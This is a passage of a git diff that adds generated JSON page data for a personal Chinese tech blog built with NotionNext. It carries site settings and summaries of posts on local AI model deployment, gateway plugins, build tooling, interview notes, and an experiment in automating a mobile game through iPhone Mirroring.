术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240725-ai.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240725-ai.json new file mode 100644 index 000000000..a919e9ee6 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240725-ai.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"2187a0b2-05d0-4661-906d-3f47acc5b022":{"value":{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","version":200,"type":"page","content":["deb17e5d-177f-406e-9c05-ee3cbfab866f","52beefab-8f8b-4909-a7e7-2ba9dc18fff1","a9a04d0b-a46d-49cf-a81f-9574041134c3","f12f113a-82ad-4e0b-8da5-d2c512dd6b7c","a8f09b66-56fe-4328-8ebd-a2e1a2903c36","5effa2a8-44a0-4a79-818d-d87fbab79fa2","a14c1746-8406-4563-ae70-e8d61f648cd0","2d45823a-f191-427b-bbee-9b4be8618580","ef14406b-a6c6-47c0-a42b-627456cfdb46","f3a8a137-22a6-4a2e-b78c-2ccf1c211970","2c25c84a-1d8f-404e-8901-72397fd77161","899eb048-ed5c-4783-be79-9a0f8bc5d511","6d41668c-a33e-4fd0-b27f-21f5f97f10f6","e0a436c8-7e1f-4138-9174-bf86f77c1b12","e1c1d5fb-3a7e-4ef6-b7ec-06243d706b06","0c04b50a-6bf8-4c50-a814-7a680ea9b228","1968ff47-43d3-4c0c-932c-dff749bca4c9","4c3ec692-5c63-4534-b346-023bfe16797a","bbabb6d3-55ab-4140-9cba-938e096025e6","27b4a3d9-a7f3-445b-84f4-5b25e5433f66","409cb504-1b52-446f-a567-4ec15f126d2b","bb56e69b-4580-468b-b3d7-9f4c6d3be321","20b20e98-1df9-49ee-8b4b-d3eed7be4ba3","0a40457d-3e29-4ef9-b271-3249807e4036","f83f3a13-d959-4f34-ae7b-9eaff43746b7","8c0e4c32-9a09-4e19-812b-3402ba18dbb4","4f429a93-5795-4e89-afb7-0784cd043a0f","52b3bf75-8ea3-4835-831c-705e7a18c0aa","78826e7b-28eb-459f-940d-bd0946fb8185","625402af-7327-46fd-adc8-564b51ebc629","00455502-c33e-4f1f-8ec5-39b7a881f4e2","0597add4-71c9-44f0-a73b-25c55d8b3b76","a32bc115-ebde-402c-9638-3c71fc4ab315","e615771d-98da-43b9-a059-13c93c02fadb","e4a6b97c-c989-4a46-a74f-70f36f097d1f","0f9dc85f-12c5-4b67-a984-d7cd57a35d1d","54c09dc4-3519-4361-bea9-b5c187bad41e","14bc4479-0be3-4af9-acd8-9495f8d060c1","4285131b-02e4-4fd4-98aa-406b8f864d92","2d9d463b-